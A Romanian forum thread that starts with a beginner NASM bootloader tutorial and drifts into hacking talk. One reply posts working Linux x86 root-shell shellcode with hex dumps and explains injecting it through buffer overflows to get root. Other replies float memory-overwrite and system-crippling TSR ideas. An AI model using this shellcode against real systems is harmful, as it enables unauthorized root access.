Jump to content
cp/m

Bootloader in asm (romana)

Va place tutorialul?  

57 members have voted

  1. 1. Va place tutorialul?

    • Da
      47
    • Nu
      11


Recommended Posts

Ce va face?

Va afisa 'rst' pe ecran.

Ce programe sunt necesare?

-nasm link: The Netwide Assembler: NASM

-editor de texte

-optional virtual pc sau virtualbox

1. Porneste notepad sau ce program folosesti si scrie:


[BITS 16]
[ORG 7C00h]
mov ah,0eh
mov al,'r'
int 10h
mov al,'s'
int 10h
mov al,'t'
int 10h
jmp $
times 510-($-$$) db 0
dw 0xAA55

Sa luam codul linie cu linie:

[bITS 16] => aici zicem pe cati biti va fi programul, in general 16, 32 sau 64.

[ORG 7C00h] => adresa la care se va incarca in memorie, bootloadere se incarca la 7c00, .com la 100h si .exe non PE la 200h...

Ce inseamna "int 10h"?

Interrupt-ul 10h sau 0x10 este unul din int-urile de BIOS. Le puteti vedea deocamdata ca niste functii predefinite. De exemplu daca in registrul "ah" este valoarea 0Eh si in "al" codul ascii, si scriem int 10h, va aparea simbolul din al pe ecran.

Pentru o lista cu int-uri puteti sa va uitati aici: 8086 bios and dos interrupts (IBM PC)

Ce inseamna "jmp $"?

Un loop infinit. Asemanator codului C a while(1==1){} sau for(;;){}

Dar "times 510-($-$$) db 0"?

Bootloadere-le TREBUIE sa aiba fix 512 bytes pt ca sa fie boot-abile. Comanda asta adauga 0-uri pana cand ajunge la 510.

Si "dw 0xAA55"?

Asta trebuie sa fie la sfarsit pentru ca BIOS-ul sa ruleze programul.

2. Considerand ca l-ai salvat ca si rst.asm, si este in acelasi director cu nasm.exe, intra in cmd si scrie "nasm rst.asm -o rst.bin"

3. Insereaza un floppy in calculator si fiind in cmd scrie:


C:\>debug
DEBUG rst.bin
- w 100 0 0 1
- q

4. Da restart si booteazade pe floppy sau foloseste virtual pc/ virtualbox/ bochs/ qemu...

In caz ca folosesti linux, ca sa scrii pe floppy scrie: "dd if=rst.bin bs=512 of=/dev/fd0"

sau pt virtualizare poti si "dd if=rst.bin bs=512 of=rst.img".

Sper ca v-a placut... Comentati!

Edited by cp/m
  • Upvote 1
Link to comment
Share on other sites

cp/m, sa nu fii dezamagit daca nu gasesti aici, sau in ro, oameni pasionati de ASM. Cauta international, sigur gasesti, si tine minte : e cel mai greu, de asta nu invata decat foarte putini. Oameni ca tine se vor cauta tot timpul, iar sa cunosti un limbaj low level conteaza foarte mult mai ales la optimizari pe procesoare, tu vei putea intelege usor electronica, daca nu cumva deja te pasioneaza.

Odata ce intelegi electronica, si poti lega ceva "practic" de un soft, esti un God, nimic nu iti mai sta in cale sa evoluezi in ce directie te doare pe tine.

Continua in domeniul asta, sigur nu vei fi dezamagit.

cheers!

Link to comment
Share on other sites

Poate ma ajuti putin pe mine cu ceva explicatii si indrumari,daca ai rabdare.

Nu ca sunt incepator,sunt chiar necunoscator.

Ce vreau sa fac:

La un laptop cu ICH7 ce suporta SATA,are hdd sata dar merge pe compatibil mode (din bios nu se poate face nimic,nici vorba de updateuri de la Dell) vreau sa schimb modul de lucru prin modificarea registrilor PCI sa inserez codul pentru asa ceva intr-un PCI option rom in bios.

Am tot citit si urmarit dar unele lucruri nu prea le-am inteles cred.

Pana aici nu stiu daca e relevant ceea ce am spus.

Controlerul din chipset se schimba in functie de valoarea byte de la offsetul 90.

La mine acea valoare e 02 si pentru a trece in sata-ahci mode ar trebui sa fie 40.

Acum nu stiu cum se scrie asta,am inteles ca se poate scrie ca byte sau ca word.

Ca byte nu am reusit sa fac nimic asa ca am incercat sa scriu ca word valoare respectiva.Oarecum am reusit dar nu in totalitate.

De la offsetul 90 la 93 (de fapt e 93:92:91:90 ) am urmatorul word

00150002 asta e valoarea initiala programata de bios.

Am folosit pentru a o rescrie asta

 

mov eax,08000fa90h
mov ebx,010150040h
mov dx,0CF8h
out dx,eax
mov dx,0CFCh
in eax,dx
and eax,0FFFFFFFFh
or eax,ebx
out dx,eax

probabil din cauza ca am folosit " and eax,0FFFFFFFFh " rezultatul e

10150042 in loc de

10150040 cat am scris eu , de scris a scris pentru ca fara acel rom in bios am

00150002

Daca incerc cum poate ar trebui " and eax,00FFFFF00h atunci dupa prima imagine cu biosul laptopul ramane blocat cu un cursor in partea stanga sus ce clipeste.

Orice sfat informatie e binevenita.

Raspunsuri cu invata asm ... am mai primit,dar probabil o sa treaca mult timp pana o sa reusesc de unul singur.

Acest lucru este posibil,sa activezi sata chiar daca biosul nu o face.

In mare sunt 2 variante:

Un MBR cu un patch ce face el asta (scrie 40 la offsetul 90) din pacate la Dell nu merge (l-am probat) probabil trebuie facute mai multe modificari in PCI space sau in linux printr-un patch si recompilare a ... unul modul presupun pci.c ce face modificarile necesare in functie de device id ,asta ar merge (e raportat ca functional si pe Dell cu acelasi hardware ca al meu)

Link to comment
Share on other sites

1. Imi place tutorialul.

2. Grad de dificultate de la 1 (minim) la 10 (maxim): cam 5-6.

3. Ce nu imi place: vii cu un cod care putea fi scris si in chineza si ziceai ptr. fiecare simbol din chineza exact lucrurile astea ca nu avea sa te contreazica nimeni. Ce ? Are cineva ceva de comentat ? Poate ai gresit undeva , stie cineva ? Asa la prima vedere pare furomos ca ne-ai explicat acolo un cod dar cu ce ramanem de pe urma tutorialului ?

Cui va folosi chestia asta ? R: Nimanui !

Dar ce e cel mai important si nu ai facut este urmatorul lucru:

Poate cineva sa mai creeze un program la fel ? R: NU !

Rezulta de aici ca acel lucru important pe care trebuia sa il faci si nu l-ai facut este asta:

Trebuia sa faci un basic al limbajului asm ca sa nu ne uitam ca matza in calendar aicea ca sa nu ne ramane decat sa dam din cap si sa trecem mai departe.

Prin basic trebuia sa explici fazele cu adresele si int, ce inseamna mov, sub, ce e eax, eip ce sunt toate chestiile astea, cum se face o bucla [exact basicul de la un limbaj de programare obisnuit] si apoi vii cu exemple de programele scurte in asm ca sa ne alegem si noi cu ceva de pe urma la tutorialul tau.

ASTA ESTE UN SFAT DESPRE CE SI CUM SA FIE URAMTORUL TUTORIAL ! NU SUNT NERVOS SI NICI NU AM NIMIC CU TINE DAR AI VRUT "PARERI" !

Link to comment
Share on other sites

Chiar ma gandeam daca sa mai dau un replay pe acest thread.

E plin internetul de astfel de "tutoriale" chiar si in limba romana,tot ce difera sunt cele trei caractere ce le trimite catre display prin int 10.

Asa si 0xAA55 nu trebuie sa fie la sfarsit ci la inceput.

Dar asa traduce gogu,cu unele greseli si functia c/p le propaga.

Link to comment
Share on other sites

Chiar ma gandeam daca sa mai dau un replay pe acest thread.

E plin internetul de astfel de "tutoriale" chiar si in limba romana,tot ce difera sunt cele trei caractere ce le trimite catre display prin int 10.

Asa si 0xAA55 nu trebuie sa fie la sfarsit ci la inceput.

Dar asa traduce gogu,cu unele greseli si functia c/p le propaga.

make this guy king ...

Link to comment
Share on other sites

CP/M ce n-am inteles eu din acest asm(nu codu postat de tine) e chestia cu incarcarea in memorie.Cum pot sa vad zonele ocupate de alte procese (alea de la 0 la 65535) pt k m-ar ajuta.Memoria fizica--acolo vreau sa ajung...k sa fac overwrite peste alte programe care ruleaza...

Link to comment
Share on other sites

dak doriti am o carte de ASM de 1600 de pagini...e foarte buna....de la operatii de transformare in binar,octal hexazecimal pana la interfete si TSR(Terminate and Stay Resident)(ceva bun pt un virus).dak vrea cnv fac upload!

Fa upload pe undeva s-o studiez :>

Link to comment
Share on other sites

pentru Necrolyte:

RapidShare: 1-CLICK Web hosting - Easy Filehosting

MD5: 0FB26D6EAF252D1E1A1A9EF376A8A35F

cartea de ASM de care am zis.

Mai am daca vrea cineva urm carti:

Advanced BGP and Troubleshooting.pdf

Art of Assembly.pdf

Capitolul_5_-_Criptografie.pdf

[Curs Java]

docs328c.html

Google Hacking for Penetration Testers.pdf

Hack The Stack - Using Snort And Ethereal To Master The 8 Layers Of An Insecure Network (2006).pdf

Hacking Wireless Networks for Dummies.pdf

Home Networking 3rd Ed For Dummies.pdf

javabd.pdf

[Limbaj de asamblare]

maiAm.txt

metasploit users guide.pdf

Nmap 5.21.pdf

NSA - The 60 Minute Network Security Guide.pdf

O'Reilly - SSH, The Secure Shell - The Definitive Guide.pdf

oreilly_security_warrior.chm

Outdoor_IEEE_802.11_Testbed.pdf

Professor_Messer-Secrets_of_Network_Cartography-2nd_Edition_Excerpt.pdf

Reversing Secrets of Reverse Engineering .pdf

Rootkits - Subverting the Windows Kernel.chm

stealing-the-network-how-to-own-the-box-2003.pdf

The Shellcoder's Handbook - Discovering And Exploiting Security Holes.chm

Pentru CP/M :

mov ah,0eh

mov al,'r'

int 10h

mov al,'s'

int 10h

mov al,'t'

int 10h

jmp $

dw 0xAA55

Am testat codu asta cu un emulator de 8086.Intr-adevar scrie rst pe ecran dar primele 2 linii si penultima din codu tau nu le recunoaste k instructiuni...poate k nu l-am testat in caz de boot cum ai zis tu k tre sa-l pui pe discheta.Dar nici k instructiuni separate nu le recunoaste liniile alea.

Testat cu: 8086 Microprocessor Emulator file version:4.0.0.8

Ca o idee vezi cum se poate scrie dupa ce se termina secventa de inchidere a windowsu-lui si scrii un program TSR care sa tina ocupata memoria fizica de la 0000x0000

unde se scriu fisierele de boot ale sistemului de operare....si sistemul e mort

Numa scrierea sa se faca la 0000x0000 adresa fizica....adica cumva trebuie distrus procesul de Mapare a memoriei(proces prin care se asigura un deplasament fata de adresa la care vrei sa scrii k sa nu se suprascrie programele)...Am pus mai sus un link cu o carte de ASM in care este explicat TSR-ul...compilarea ASM-ului eu o fac cu Turbo Pascal 7.0 pt k iti da voie sa scrii cod asm in codul programului.Ma apuc si eu de azi sa studiez mai aprofundat asm-u...mult succes!

Se pare ca dupa aceste posturi voi fi banned.Post dublu,offtopic,asta este,

Edited by phantomas90
Am citit regulile forumului
Link to comment
Share on other sites

Ce va face?

Va afisa 'rst' pe ecran.

Ce programe sunt necesare?

-nasm link: The Netwide Assembler: NASM

-editor de texte

-optional virtual pc sau virtualbox

1. Porneste notepad sau ce program folosesti si scrie:


[BITS 16]
[ORG 7C00h]
mov ah,0eh
mov al,'r'
int 10h
mov al,'s'
int 10h
mov al,'t'
int 10h
jmp $
times 510-($-$$) db 0
dw 0xAA55

Sa luam codul linie cu linie:

[bITS 16] => aici zicem pe cati biti va fi programul, in general 16, 32 sau 64.

[ORG 7C00h] => adresa la care se va incarca in memorie, bootloadere se incarca la 7c00, .com la 100h si .exe non PE la 200h...

Ce inseamna "int 10h"?

Interrupt-ul 10h sau 0x10 este unul din int-urile de BIOS. Le puteti vedea deocamdata ca niste functii predefinite. De exemplu daca in registrul "ah" este valoarea 0Eh si in "al" codul ascii, si scriem int 10h, va aparea simbolul din al pe ecran.

Pentru o lista cu int-uri puteti sa va uitati aici: 8086 bios and dos interrupts (IBM PC)

Ce inseamna "jmp $"?

Un loop infinit. Asemanator codului C a while(1==1){} sau for(;;){}

Dar "times 510-($-$$) db 0"?

Bootloadere-le TREBUIE sa aiba fix 512 bytes pt ca sa fie boot-abile. Comanda asta adauga 0-uri pana cand ajunge la 510.

Si "dw 0xAA55"?

Asta trebuie sa fie la sfarsit pentru ca BIOS-ul sa ruleze programul.

2. Considerand ca l-ai salvat ca si rst.asm, si este in acelasi director cu nasm.exe, intra in cmd si scrie "nasm rst.asm -o rst.bin"

3. Insereaza un floppy in calculator si fiind in cmd scrie:


C:\>debug
DEBUG rst.bin
- w 100 0 0 1
- q

4. Da restart si booteazade pe floppy sau foloseste virtual pc/ virtualbox/ bochs/ qemu...

In caz ca folosesti linux, ca sa scrii pe floppy scrie: "dd if=rst.bin bs=512 of=/dev/fd0"

sau pt virtualizare poti si "dd if=rst.bin bs=512 of=rst.img".

Sper ca v-a placut... Comentati!

da...foarte bine..acum vine o alta intrebare, eu sunt pasionat PSP.Daca iti dau toate datele necesare despre psp, ai putea face un bootloader?Si te rog uploadeaza toate cartile care le ai, ca vreau si eu sa am ceva cu care sa imi omor timpul invatand...MULTUMESC

Edited by chicco_10
Link to comment
Share on other sites

Nu ar fii bine sa continui cu un tutorial simplu ca sa inteleaga toti de exemplu cum funcrioneaza registri ?

CPU registers

Cel putin pe mine ma intereseaza asm pt procesoarele intel x86 in Linux

C0de 32 bit care genereaza o shell , poate fii introdus in orice exploit ,

In cazul unei vulnerabilitati de buffer overflow ,sau chiar oricare alta poate fi rescrisa adressa de intoarcere cu acest code care va intoarce in acest caz o shell sh

; setreuid(uid_t ruit, uid_id
xor eax, eax ; First eax must be 0 for the next instruction
mov al, 70 ; Put 70 into eax, since setreuid is syscall #70
xor ebx, ebx ; Put 0 into ebx, to set the real uid to root
xor ecx, ecx ; Put 0 into ecx, to set the effective uid to root
int 0x80 ; Call the kernel to make the system call happen

jmp short two ; jump down to the bottom to get the address of "/bin/sh"
one:
pop ebx ; pop the "return address" from the stack
; to put the address of the string into ebx
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; Clear eax
mov [ebx+7], al ; Put the 0 from eax after the "/bin/sh"
mov [ebx+8], ebx ; Put the address of the string from ebx here
mov [ebx+12], eax ; Put null here

mov al, 11 ; execve is syscall #11
lea ecx, [ebx+8] ; Load the address that points to /bin/sh
lea edx, [ebx+12] ; Load the address where we put null
int 0x80 ; Call the kernel to make the system call happen

two:
call one ; Use a call to get back to the top to get this; address
db '/bin/sh'

Important este ca codul sa fie curat fara byte null deoacere executia se va opri la primul byte null de exemplu 00

Acest lucru poate fi controlat cu orice fel de editor hex

Pt a asembla codul se poate folosi nasm

Salvati codul intrun file cu extensie .nasm dupa care dati urmatorul command

nasm shell.asm

Cu un editor hex se controleaza sa nu existe vreun byte null

hexedit shell  

Output

00000000  66 31 C0 B0  46 66 31 DB   66 31 C9 CD  80 EB 21 66   f1..Ff1.f1....!f
00000010 5B 66 31 C0 67 88 43 07 67 66 89 5B 08 67 66 89 [f1.g.C.gf.[.gf.
00000020 43 0C B0 0B 67 66 8D 4B 08 67 66 8D 53 0C CD 80 C...gf.K.gf.S...
00000030 E8 DC FF 2F 62 69 6E 2F 73 68 .../bin/sh

sa vedem cat e de lung acest code

 wc -c shell

Output:

58 shell

Deci e di 58 byte

Dupa cum se observa este un code curat fare null byte

Important este ca acest shellcode sa se execute fara sa fie intrerupt deoarece daca exista un byte null nu va fi executat si probabil va da o erroare de segmentation fault iar programul vulnerabil va merge in crash

Exista shell coduri mai mici care fac acelasi lucru

BITS 32

; setreuid(uid_t ruid, uid_t euid)
push byte 70 ; push the byte value 70 to the stack
pop eax ; pop the 4-byte word 70 from the stack
xor ebx, ebx ; put 0 into ebx, to set real uid to root
xor ecx, ecx ; put 0 into ecx, to set effective uid to root
int 0x80 ; Call the kernel to make the system call happen

; execve(const char *filename, char *const argv [], char *const envp[])
push ecx ; push 4 bytes of null from ecx to the stack
push 0x68732f2f ; push "//sh" to the stack
push 0x6e69622f ; push "/bin" to the stack
mov ebx, esp ; put the address of "/bin//sh" to ebx, via esp
push ecx ; push 4 bytes of null from ecx to the stack
push ebx ; push ebx to the stack
mov ecx, esp ; put the address of ebx to ecx, via esp
cdq ; put 0 into edx using the signed bit from eax
mov al, 11 ; put 11 into eax, since execve() is syscall #11
int 0x80 ; call the kernel to make the syscall happen

Pt a asembla codul se poate folosi nasm

nasm smallcode.asm

hexedit smallcode

Output

00000000  6A 46 58 31  DB 31 C9 CD   80 51 68 2F  2F 73 68 68   jFX1.1...Qh//shh
00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80 /bin..QS.......

Acest code face acelasi lucru doar ca este mai mic

wc -c smallcode

output:

31 smallcode

Dupa cum vedeti e numai de 31 byte

Face acelasi lucru ca si primul code doar ca e mai mic aproape jumatate

Link to comment
Share on other sites

- nu mai dati quote la texte mari.

si tie ti se pare tutorialul tau simplu?? eu am ramas sa ma uit ca matza in calendar cand am vazut ce ai scris acolo...daca tot vreti sa faceti tutorialele, spuneti si voi ce tot inseamna prescurtarile alea...din toate prescurtarile de abia daca stiu si eu ce inseamna JNE, JMP si JE....

Link to comment
Share on other sites

Nu mi se pare chiar atat de simplu , vroiam doar sa arat un simplu shellcode care poate fi introdus in orice fel de exploit vreti sa scrieti .

Deci daca vreti sa exploatati un program sau ma rog orice fel de tool , daca aveti codul sorgent esta mai bine , treceti la debugging dupa care trebuie cautat o erroare care poate genera un buffer overflow , in acest caz scrieti un script chiar in perl care va introduce acest shell code folosind functia "print " in momentul cand acel program va avea acea erroare deci in loc sa mearga in crash daca ii puneti acest code va va da o shell sh

De obicei cand un program are o erroare merge in crash pt ca nu are alta posibilitate ,daca cineva ii va introduce un shellcode , in loc sa mearga in crash va executa acel shellcode, in acest caz exemplele de mai sus creaza o shell deci veti avea o shell in care puteti executa orice fel de comenzi vreti

De exemplu exista un server ftp care vine folosit de root si are o erroare de buffer overflow , in acest caz scrieti un script in perl care sa introduca un shellcode .Serverul ftp nu va merge in crash dar va va da o shell de root pt ca in acest caz serverul este folosit de catre root

Intradevar sunt multe lucruri de invatat , pt ca acest code functioneaza doar pt procesoarele Intel si Amd x86 si doar in Linux

Pt fiecare procesor trebuie scris in mod divers

Ar trebui multe tutoriale sau mai bine zis carti care sa explice mai cu amanunte cum functioneaza un procesor si registrii din el

Bineinteles daca cineva cunoaste bine aceste lucruri il rog sa scrie un tutorial , voi incerca si eu sa scriu ceva pe viitor pt a explica anumite lucruri .

Doar ceea ce stiu si eu pana in prezent

Daca vrea cineva sa scrie un tutorial care sa explice cum functioneaza registri unui CPU in mod clar si simplu il rog sa o faca

Doar asa se pot intelege mai multe lucruri

Daca ati observat codul fiecare stringa vine comentata

De exemplu comandul mov nu face altceva decat sa puna niste date in registri EAX ,EBX, ECX

Aceste date sunt niste syscall de exemplu in linux pt a vedea care sunt syscall puteti da urmatorul comand

 cat /usr/include/asm/unistd_32.h

In caz ca aveti un OS 64 bit

cat /usr/include/asm/unistd_64.h

Daca nu incercati

cat /usr/include/asm/unistd.h

Deci importan este sa se inteleaga ce inseamna registri unui cpu

CPU registers

Ficare code poate fi scris doar pt un sistem in parte , exemplele de mai sus nu vor functiona pe procesoare SPARC sau in windows de exemplu ,si nici nu vor functiona intrun sistem linux 64 bit

Edited by pyth0n3
Link to comment
Share on other sites

cine vrea sa invete asm fara prea mari greutati aveti visual c++....

exemplu minimal:

int main()

{

int x=2;

_asm{

mov EAX,x;mutam x in EAX

INC EAX; incrementam eax cu 1

MOV x,EAX; mutam EAX in x

}

std::cout<<x;

}

P.S.: vreti sa incerc eu sa fac un tutorial de ASM (un ASM 101 ?) mai stiu cat de cat din primu semestru la facultate cand am facut la Arhitectura Sistemelor de calcul :-"

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...